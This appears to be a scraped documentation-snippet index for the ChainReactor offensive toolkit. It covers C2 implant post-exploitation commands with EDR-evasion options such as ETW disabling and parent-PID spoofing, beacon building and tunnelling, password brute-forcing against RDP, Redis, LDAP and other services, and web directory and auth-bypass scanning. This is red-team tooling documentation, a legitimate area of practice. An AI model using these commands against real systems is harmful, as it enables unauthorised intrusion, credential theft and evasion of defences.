ChainReactor

https://wiki.chainreactors.red/
Admin
ChainReactor is a cybersecurity project documented via a wiki, offering a suite of offensive...
Tokens:7,244
Snippets:70
Trust Score:4.7
Update:1 year ago
Show doc for...
Tokens:
Raw
### Build and run nc example with proxy

Source: https://wiki.chainreactors.red/libs/proxyclient

Builds the nc (netcat) example and shows how to connect to a specified host and port through a proxy. This is useful for testing network connections via a proxy.

```bash
go build ./example/nc
./nc <proxy-url> <target-host> <target-port>

# 示例
./nc http://127.0.0.1:8080 example.com 80
```

--------------------------------

### Build and run curl example with proxy

Source: https://wiki.chainreactors.red/libs/proxyclient

Builds the curl example and demonstrates how to use it to access a target URL through a specified proxy. This is useful for simulating HTTP requests via a proxy.

```bash
go build ./example/curl
curl <proxy-url> <target-url>

# 示例
./curl http://127.0.0.1:8080 https://example.com
```

--------------------------------

### Build and run SOCKS5 server example

Source: https://wiki.chainreactors.red/libs/proxyclient

Builds and runs a local SOCKS5 server that forwards all traffic through an upstream proxy. This is useful for testing SOCKS5 proxy functionality and routing traffic.

```bash
go build ./example/socks5
./socks5 <proxy-url> <listen-addr>

# 示例
./socks5 http://127.0.0.1:8080 :1080
```

--------------------------------

### Host Brute-forcing for Reverse Proxies with Spray

Source: https://wiki.chainreactors.red/spray/do

Detects reverse proxies by brute-forcing host configurations using subdomain data as a dictionary. This method leverages subdomain information to test potential reverse proxy setups.

```bash
spray -u http://example.com -m host -d subdomain.txt
```

--------------------------------

### 安装protobuf编译器 (Debian/Ubuntu)

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

使用apt包管理器在Debian或Ubuntu系统上安装protobuf编译器。安装后，使用`protoc --version`验证安装。

```bash
apt install -y protobuf-compiler 
protoc --version  # 确保版本 >= 3

```

--------------------------------

### 生成Protobuf文件

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

如果修改了proto定义文件，此命令将用于为Client目录下的proto文件生成相应的Go代码。

```bash
go generate ./client

```

--------------------------------

### 查看特定命令的详细帮助 - help [command]

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

输入'help'后跟命令名称，可以查看该命令的详细用法、参数和使用示例。例如，查看'upload'命令的帮助。

```shell
help [command]

```

```shell
help upload

```

--------------------------------

### 初始化Implant会话 - init命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

执行'init'命令来初始化当前Implant会话，建立与IoM pipeline的通信链路。

```shell
init

```

--------------------------------

### 编译Client

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

此命令用于编译Client目录下的Go代码，生成可执行文件。

```bash
go build ./client/

```

--------------------------------

### 查看所有可用命令 - help命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

在Implant控制台中输入'help'命令，可以查看所有可用的命令列表。命令会按功能分类显示。

```shell
help

```

--------------------------------

### 在目标系统执行命令 - run命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

使用'run'命令在目标系统中执行本地可执行文件并返回输出结果，适用于需要获取执行反馈的场景。

```shell
run [cmdline]

```

```shell
# 执行简单命令
run whoami

```

--------------------------------

### 安装protobuf编译器 (macOS)

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

使用Homebrew包管理器在macOS上安装protobuf编译器。安装后，使用`protoc --version`验证安装。

```bash
brew install protobuf
protoc --version

```

--------------------------------

### 安装Go项目依赖

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

此命令用于下载和安装Go项目的所有依赖项，通常在项目设置或更新后运行。

```bash
go mod tidy

```

--------------------------------

### zombie命令行用法

Source: https://wiki.chainreactors.red/zombie/start

展示了zombie.exe工具的完整命令行选项，包括输入、输出、单词处理、杂项和帮助选项。这些选项允许用户精细控制工具的行为，如指定输入文件、设置线程数、过滤服务以及输出格式等。

```bash
zombie -h
```

```bash
Usage:
  zombie.exe [OPTIONS]

Input Options:
  -i, --ip=             String, input ip
  -I, --IP=             File, input ip list filename
  -u, --user=           Strings, input usernames
  -U, --USER=           File, input username list filename
  -a, --auth=           Strings, input auth, username::password
  -A, --AUTH=           File, input auth list filename
      --userrule=       String, input username generator rule filename
  -p, --pwd=            String, input passwords
  -P, --PWD=            File, input password list filename
      --pwdrule=        String, input password generator rule filename
  -d, --dict=           Strings, input dictionaries
  -j, --json=           File, input json result filename
  -g, --gogo=           File, input gogo result filename
  -s, --service=        String, input service name
  -S, --filter-service= String, filter service when input json/gogo file
      --param=          params

Output Options:
  -f, --file=           File, output result filename
  -O, --file-format=    String, output result file format (default: json)
  -o, --format=         String, output result format (default: string)

Word Options:
      --top=            Int, top n words (default: 0)
      --force-continue  Bool, force continue, not only stop when first success ever host
      --weakpass        Bool, common weak password rule
      --no-unauth       Bool, skip check unauth
      --no-honeypot     Bool, skip check honeypot

Misc Options:
      --raw             Bool, parser raw username/password
  -t=                   Int, threads (default: 100)
      --timeout=        Int, timeout (default: 5)
  -m=                   String, clusterbomb/sniper (default: clusterbomb)
      --debug           Bool, enable debug
  -l, --list            Bool, list all service
      --bar             Bool, enable bar
      --version         Bool, show version

Help Options:
  -h, --help            Show this help message
```

--------------------------------

### 安装protobuf编译器 (Windows)

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

使用Winget包管理器在Windows上安装protobuf编译器。安装后，使用`protoc --version`验证安装。

```bash
winget install protobuf 
protoc --version

```

--------------------------------

### 安装protobuf Go插件

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

安装protobuf Go插件，用于生成Go代码。指定了`protoc-gen-go-grpc`和`protoc-gen-go`的版本。

```bash
go install google.golang.org/grpc/cmd/protoc-gen-go-grpc@v1.3.0  
go install google.golang.org/protobuf/cmd/protoc-gen-go@v1.34.1  

```

--------------------------------

### 检查Go版本

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

此命令用于检查已安装的Go版本，确保其满足项目最低要求（>= 1.20）。

```bash
go version

```

--------------------------------

### 包装Env功能为Cobra命令

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

此Go函数将Env功能函数包装成Cobra命令的处理程序。它获取当前会话，调用Env函数，并将结果打印到控制台。

```go
func EnvCmd(cmd *cobra.Command, con *repl.Console) error {
    session := con.GetInteractive()
    task, err := Env(con.Rpc, session)
    if err != nil {
        return err
    }
    session.Console(task, string(*con.App.Shell().Line()))
    return nil
}

```

--------------------------------

### 动态加载REM模块 (Windows)

Source: https://wiki.chainreactors.red/IoM/guideline/proxy

将rem打包成DLL，通过Cgo与FFI跨语言调用。在IoM命令行中执行`rem_community load`加载，`rem_community socks5`搭建反向代理。优点是不产生新进程，实时同步pivoting，缺点是可能暴露EDR。

```shell
# 加载rem dll
rem_community load
```

```shell
# 选择对应的rem pipeline, 搭建了反向代理隧道
rem_community socks5 rem_pipeline
```

--------------------------------

### 连接Implant会话 - session命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

使用'session'命令查看可用的Implant会话信息。这是进行后渗透操作前连接目标会话的第一步。

```shell
session

```

--------------------------------

### 加载Implant插件 - load_addon命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

通过'load_addon'命令将可执行文件加载到Implant内存中，供后续重复调用。可以指定别名（-n）和模块类型（-m）。

```shell
load_addon [flags]

```

```shell
# 使用默认名称加载插件
load_addon gogo.exe

```

```shell
# 指定别名和模块类型
load_addon gogo.exe -n gogo -m execute_exe

```

--------------------------------

### 执行Implant插件 - execute_addon命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

通过'execute_addon'命令执行已加载的插件，支持多种安全与隐蔽性配置选项，如欺骗进程参数（-a）、阻止非微软签名DLL注入（-b）、禁用ETW跟踪（--etw）、伪造父进程ID（-p）、自定义进程路径（-n）、禁用输出（-q）和设置超时（-t）。

```shell
execute_addon [flags]

```

```shell
# 执行不带参数的插件
execute_addon httpx 1.1.1.1

```

```shell
# 执行带参数的插件
execute_addon gogo.exe -- -i 127.0.0.1 -p http

```

--------------------------------

### 列出Implant插件 - list_addon命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

使用'list_addon'命令显示所有已加载的插件信息，包括名称、路径和模块类型。也可以指定插件名称查看详细信息。

```shell
list_addon [addon]

```

--------------------------------

### 获取Implant任务详情 - fetch_task命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

执行'fetch_task'命令获取当前正在执行任务的详细信息，包括实时输出。

```shell
fetch_task

```

--------------------------------

### VNC Password Cracking with Zombie

Source: https://wiki.chainreactors.red/zombie/start

Cracks VNC passwords using the zombie tool. Requires an input file with IPs, a username, and a file with passwords.

```bash
zombie -s vnc -I ip.txt -u admin -P pwd.txt
```

--------------------------------

### 执行Env函数获取任务

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

此Go函数调用RPC客户端的Env方法，获取环境信息任务。它处理RPC调用中的错误并返回任务对象。

```go
func Env(rpc clientrpc.MaliceRPCClient, session *core.Session) (*clientpb.Task, error) {
    task, err := rpc.Env(session.Context(), &implantpb.Request{
        Name: consts.ModuleEnv,
    })
    if err != nil {
        return nil, err
    }
    return task, err
}

```

--------------------------------

### 编译与生成Beacon

Source: https://wiki.chainreactors.red/IoM/guideline/proxy

在配置好implant后，使用`malefic-mutant generate beacon`生成编译配置，然后使用`cargo build --release -p malefic`进行编译，生成最终的可执行文件。

```shell
malefic-mutant generate beacon
```

```shell
cargo build --release -p malefic
```

--------------------------------

### 加载Implant模块 - load_module命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

使用'load_module'命令加载新的功能模块以扩展Implant的能力。可以通过'--path'指定本地路径，或使用'--artifact'、'--modules'、'--3rd'从服务端加载。

```shell
load_module [module_file] [flags]

```

```shell
# 从指定路径加载模块
load_module --path sys.dll

```

```shell
# 基于服务端已编译好的 artifact 进行加载
load_module --artifact <artifact_name>

```

```shell
# 加载指定模块
load_module --modules execute_dll,sys_full

```

```shell
# 加载第三方插件(目前支持rem和curl)
load_modules --3rd rem

```

--------------------------------

### 注册Env功能到Mal插件系统

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

此Go函数将Env功能及其相关元数据注册到Mal插件系统。它包括别名、回调函数、响应解析和格式化函数，并添加到命令帮助中。

```go
func RegisterEnvFunc(con *repl.Console) {
    con.RegisterImplantFunc(
        consts.ModuleEnv,
        Env,
        "benv", // mal中的别名
        func(rpc clientrpc.MaliceRPCClient, sess *core.Session) (*clientpb.Task, error) {
            return Env(rpc, sess)
        },
        output.ParseKVResponse,    // 解析函数
        output.FormatKVResponse)

    con.AddCommandFuncHelper(
        consts.ModuleEnv,
        consts.ModuleEnv,
        "env(active())",
        []string{
            "sess: special session",
        },
        []string{"task"})
}

```

--------------------------------

### POP3 Password Cracking with Zombie

Source: https://wiki.chainreactors.red/zombie/start

Cracks POP3 passwords using the zombie tool. Requires an input file with IPs, a username, and a file with passwords.

```bash
zombie -s pop3 -I ip.txt -u admin -P pwd.txt
```

--------------------------------

### Postgre Password Cracking with Zombie

Source: https://wiki.chainreactors.red/zombie/start

Cracks Postgre passwords using the zombie tool. Requires an input file with IPs and a file with passwords. Optionally, a username and database name can be specified.

```bash
zombie -s postgre -I ip.txt -u postgres -P pwd.txt
```

```bash
zombie -s postgre -I ip.txt -u postgres -P pwd.txt --param dbname:postgres
```

--------------------------------

### 静态链接REM到Beacon

Source: https://wiki.chainreactors.red/IoM/guideline/proxy

通过修改`config.yaml`启用第三方模块，将rem静态链接到beacon。支持Windows (x86_64-pc-windows-gnu) 和Linux。静态链接会增大beacon体积，但可以直接使用rem功能，如`reverse`搭建socks5代理。

```yaml
implants:
  ......
  enable_3rd: true       # enable 3rd module  
  3rd_modules:            # 3rd module when malefic compile  
    - rem
```

--------------------------------

### Neoreg Proxy URL format with parameters

Source: https://wiki.chainreactors.red/libs/proxyclient

Defines the URL format for Neoreg proxies, supporting various parameter configurations such as key, timeout, retry, interval, and buffer size. This allows for detailed customization of Neoreg connections.

```text
格式：neoreg(s)://key@host:port/path?param1=value1&param2=value2

示例：
neoreg://password@example.com:8080/tunnel.jsp?timeout=10s
neoregs://password@example.com:8443/tunnel.jsp?interval=200ms&retry=5
```

--------------------------------

### 切换Implant会话 - switch命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

使用'switch'命令可以在多个活跃的Implant会话之间进行切换。

```shell
switch

```

--------------------------------

### 列出已下载文件 - files命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

使用'files'命令显示所有已下载到本地的文件列表，包括本地路径和远程路径信息。

```shell
files

```

--------------------------------

### 定义Cobra的Env命令

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

此Go代码段定义了一个名为'env'的Cobra命令。它设置了命令的用法、简短描述和运行逻辑，包括参数处理和注释。

```go
envCmd := &cobra.Command{
    Use:   consts.ModuleEnv,
    Short: "List environment variables",
    RunE: func(cmd *cobra.Command, args []string) error {
        if len(args) == 0 {
            return EnvCmd(cmd, con)
        } else {
            return fmt.Errorf("unknown cmd '%s'", args[0])
        }
    },
    Annotations: map[string]string{
        "depend": consts.ModuleEnv,
        "ttp":    "T1134",
    },
}

```

--------------------------------

### RDP Password Cracking with Zombie

Source: https://wiki.chainreactors.red/zombie/start

Cracks RDP passwords using the zombie tool. Requires an input file with IPs, a username, and a file with passwords.

```bash
zombie -s rdp -I ip.txt -u admin -P pwd.txt
```

--------------------------------

### 列出已加载的Implant模块 - list_module命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

通过'list_module'命令查看当前已加载的所有功能模块，包括模块名称和功能描述。

```shell
list_module

```

--------------------------------

### 恢复Implant会话 - recover命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

当Implant会话断开时，可以使用'recover'命令尝试恢复连接。

```shell
recover

```

--------------------------------

### Suo5 Proxy URL format with parameters

Source: https://wiki.chainreactors.red/libs/proxyclient

Defines the URL format for Suo5 proxies, allowing for various parameter configurations via query strings. This is used to customize Suo5 proxy connections.

```text
格式：suo5(s)://host:port/path?param1=value1&param2=value2

示例：
suo5://example.com:8080/suo5.jsp
suo5s://example.com:8443/suo5.jsp
```

--------------------------------

### 反射加载REM.exe (Windows)

Source: https://wiki.chainreactors.red/IoM/guideline/proxy

使用`execute_exe`或`execute_shellcode`命令反射加载rem.exe程序，支持RDI和PIC加载方式，无需文件落地。适用于Windows平台，但会产生新进程且与pipeline交互有延迟。

```shell
execute_exe rem.exe -- -c [rem_link] ...
```

```shell
execute_shellcode rem.exe -- -c [rem_link] ...
```

--------------------------------

### 测试Implant连接 - ping命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

使用'ping'命令测试与bind implant的网络连接状态，验证链路是否可达。

```shell
ping

```

--------------------------------

### 连接Implant会话 - use命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

使用'use'命令连接到指定的Implant会话ID。Tab键补全也可用于查看会话信息。

```shell
use [session-id]

```

--------------------------------

### 处理复杂标志参数的命令

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

此Go函数演示了如何在Cobra命令中处理复杂参数，包括字符串和布尔标志。它获取这些标志的值并传递给功能函数。

```go
func ComplexCmd(cmd *cobra.Command, con *repl.Console) error {
    flag1, _ := cmd.Flags().GetString("flag1")
    flag2, _ := cmd.Flags().GetBool("flag2")
    session := con.GetInteractive()
    task, err := ComplexFunc(con.Rpc, session, flag1, flag2)
    // ...
}

```

--------------------------------

### FTP Password Cracking with Zombie

Source: https://wiki.chainreactors.red/zombie/start

Cracks FTP passwords using the zombie tool. Requires an input file with IPs, a username, and a file with passwords.

```bash
zombie -s ftp -I ip.txt -u admin -P pwd.txt
```

--------------------------------

### 清除已加载的Implant模块 - clear命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

使用'clear'命令卸载所有已加载的模块，释放资源并恢复Implant的基础功能状态。

```shell
clear

```

--------------------------------

### LDAP Password Cracking with Zombie

Source: https://wiki.chainreactors.red/zombie/start

Cracks LDAP passwords using the zombie tool. Requires an input file with IPs, a username, and a file with passwords.

```bash
zombie -s ldap -I ip.txt -u admin -P pwd.txt
```

--------------------------------

### 查看当前会话信息 - info命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

使用'info'命令显示当前Implant会话的详细信息，包括会话ID、目标主机信息、插件信息等。

```shell
info

```

--------------------------------

### 列出Implant任务 - tasks命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

使用'tasks'命令显示当前会话中所有任务的列表，包括任务ID、状态、创建时间等。使用'-a'或'--all'可以显示所有任务。

```shell
tasks

```

--------------------------------

### 处理简单位置参数的命令

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

此Go函数展示了如何在Cobra命令中处理简单位置参数。它获取第一个参数并将其传递给功能函数。

```go
func SimpleCmd(cmd *cobra.Command, con *repl.Console) error {
    param := cmd.Flags().Arg(0) // 获取位置参数
    session := con.GetInteractive()
    task, err := SimpleFunc(con.Rpc, session, param)
    // ...
}

```

--------------------------------

### SMTP Password Cracking with Zombie

Source: https://wiki.chainreactors.red/zombie/start

Cracks SMTP passwords using the zombie tool. Requires an input file with IPs, a username, and a file with passwords.

```bash
zombie -s smtp -I ip.txt -u admin -P pwd.txt
```

--------------------------------

### 刷新Implant模块列表 - refresh_module命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

执行'refresh_module'命令刷新当前模块列表，同步最新的模块状态。

```shell
refresh_module

```

--------------------------------

### HTTP/HTTPS Proxy URL format with authentication

Source: https://wiki.chainreactors.red/libs/proxyclient

Defines the URL format for HTTP and HTTPS proxies, including support for basic authentication with username and password. This format is used to configure proxy connections.

```text
格式：http(s)://[username:password@]host:port

示例：
http://user:pass@127.0.0.1:8080
https://127.0.0.1:8443
```

--------------------------------

### Directory Scanning with Spray

Source: https://wiki.chainreactors.red/spray/do

Performs a comprehensive website information gathering using the spray tool with all plugins enabled. It's effective for finding common files and backup files. May require custom dictionaries for optimal results, especially against servers with generic 404 pages.

```bash
spray -u http://example.com -d common.txt -a
```

--------------------------------

### 通过REM构建虚拟信道上线 (malefic over rem)

Source: https://wiki.chainreactors.red/IoM/guideline/proxy

修改implant的`config.yaml`，将protocol设置为`rem`，并配置`rem.link`。然后运行`malefic-mutant generate beacon`和`cargo build --release -p malefic`进行编译。这样implant即可通过rem构建的内存虚拟信道进行通信，实现流量的任意伪装。

```yaml
basic:
  name: "malefic"
  targets:
    - "127.0.0.1:5001"
  protocol: "rem"
  tls: false
  proxy: ""
  interval: 5
  jitter: 0.2
  ca:
  encryption: aes
  key: maliceofinternal
  rem:
    link: '[rem_link]'
```

--------------------------------

### 克隆仓库并设置上游

Source: https://wiki.chainreactors.red/IoM/guideline/develop/client

克隆包含子模块的Git仓库，并设置一个名为'upstream'的远程仓库指向原始仓库地址。

```bash
git clone --recurse-submodules https://github.com/your-username/malice-network.git
cd malice-network
git remote add upstream https://github.com/chainreactors/malice-network.git

```

--------------------------------

### 查询Implant任务详情 - query_task命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

通过'query_task'命令查询指定任务ID的详细信息，包括任务类型、参数、执行进度和输出结果。

```shell
query_task [task_id]

```

--------------------------------

### Telnet Password Cracking with Zombie

Source: https://wiki.chainreactors.red/zombie/start

Cracks Telnet passwords using the zombie tool. Requires an input file with IPs, a username, and a file with passwords. Note: This feature is experimental and may not support all versions.

```bash
zombie -s telnet -I ip.txt -u admin -P pwd.txt
```

--------------------------------

### 等待Implant任务完成 - wait命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

使用'wait'命令阻塞等待指定的任务ID执行完成，适用于需要依赖前序任务结果的操作。可以通过'--interval'设置检查间隔。

```shell
wait [task_id1] [task_id2] [flags]

```

--------------------------------

### 轮询Implant任务状态 - polling命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

执行'polling'命令定期检查已下发任务的执行进度和结果。可以通过'--interval'自定义轮询间隔。

```shell
polling [flags]

```

--------------------------------

### SOCKS5 Proxy URL format with authentication

Source: https://wiki.chainreactors.red/libs/proxyclient

Defines the URL format for SOCKS5 proxies, supporting both no authentication and username/password authentication. This format is used for configuring SOCKS5 proxy connections.

```text
格式：socks5://[username:password@]host:port

示例：
socks5://127.0.0.1:1080
socks5://user:pass@127.0.0.1:1080
```

--------------------------------

### Redis Password Cracking with Zombie

Source: https://wiki.chainreactors.red/zombie/start

Cracks Redis passwords using the zombie tool. Requires an input file with IPs and a file with passwords. Redis does not require a username to be specified.

```bash
zombie -s redis -I ip.txt -P pwd.txt
```

--------------------------------

### 修改Implant睡眠配置 - sleep命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

通过'sleep'命令调整Implant的睡眠间隔（秒），控制与C2服务器的通信频率。可以使用'--jitter'参数使间隔随机化。

```shell
sleep [interval/second] [flags]

```

--------------------------------

### ShadowSocks Proxy URL format with encryption

Source: https://wiki.chainreactors.red/libs/proxyclient

Defines the URL format for ShadowSocks proxies, including support for various encryption methods, passwords, server addresses, and ports. This is used to configure ShadowSocks connections.

```text
格式：ss://method:password@host:port

示例：
ss://aes-256-gcm:password@127.0.0.1:8388
```

--------------------------------

### 终止Implant进程 - suicide命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

执行'suicide'命令来终止当前的Implant进程。

```shell
suicide

```

--------------------------------

### 取消Implant任务 - cancel_task命令

Source: https://wiki.chainreactors.red/IoM/guideline/post_exploitation

使用'cancel_task'命令取消正在执行的指定任务，适用于误操作或任务执行异常的场景。

```shell
cancel_task [task_id]

```

--------------------------------

### rem URL 协议配置示例

Source: https://wiki.chainreactors.red/rem/concept

展示了 rem 中如何使用 URL 协议来配置各种传输层、会话层、表示层和应用层参数。该示例展示了一个 console 配置，包含了协议、认证信息、地址、端口以及 wrapper 参数。

```url
tcp://nonenonenonenone:@127.0.0.1:34996?wrapper=lsJyUl5w5TTyTEH2wrMYkwfaNgNop3ry3pyRSKIpCriE8%2F%2FpkMfIgULLEAxv2LEoivHy2r61PIlZVYyirPVeG3bmND1hReHMFQGXwgL6Ui3JSgTKNZ3g%2BBc55AcCtf%2FRmtHZsvfyF5h0%2BEzYLqDeAvzqLmFhL1Ed0qKjpurSwC97oD3G8auhAxFp7AHqs29W19liQ25olc444pH8xZxEyS%2BMAzk%2FdqU5BcYgWHir5A5jL63DtBVmfGE0wRHvZuv7
```

--------------------------------

### 静态链接REM命令示例

Source: https://wiki.chainreactors.red/IoM/guideline/proxy

在静态链接rem后，可以直接使用rem提供的命令。例如，使用`reverse [rem_defualt]`搭建反向socks5代理，或使用`rem_dial [rem_default] -- -c ...`手动指定rem命令。

```shell
reverse [rem_defualt]
```

```shell
rem_dial [rem_default] -- -c ...
```

--------------------------------

### Random Directory Brute-forcing with Spray

Source: https://wiki.chainreactors.red/spray/do

Exploits reverse proxies by performing random directory brute-forcing. It uses Spray's dictionary generator to create common random lowercase directory patterns (e.g., 1-4 characters) which have proven effective in finding vulnerabilities.

```bash
spray -u http://example.com -w '{$l#4}' -a
```

--------------------------------

### Java Permission Bypass Detection with Spray

Source: https://wiki.chainreactors.red/spray/do

Identifies potential Java permission bypass vulnerabilities by appending specific rules to URLs obtained from previous scans. It utilizes Spray's `--append-rule` functionality with the 'authbypass' rule and `--recon` for reconnaissance.

```bash
spray -l 1.txt --append-rule authbypass --recon
```
Tokens:
Raw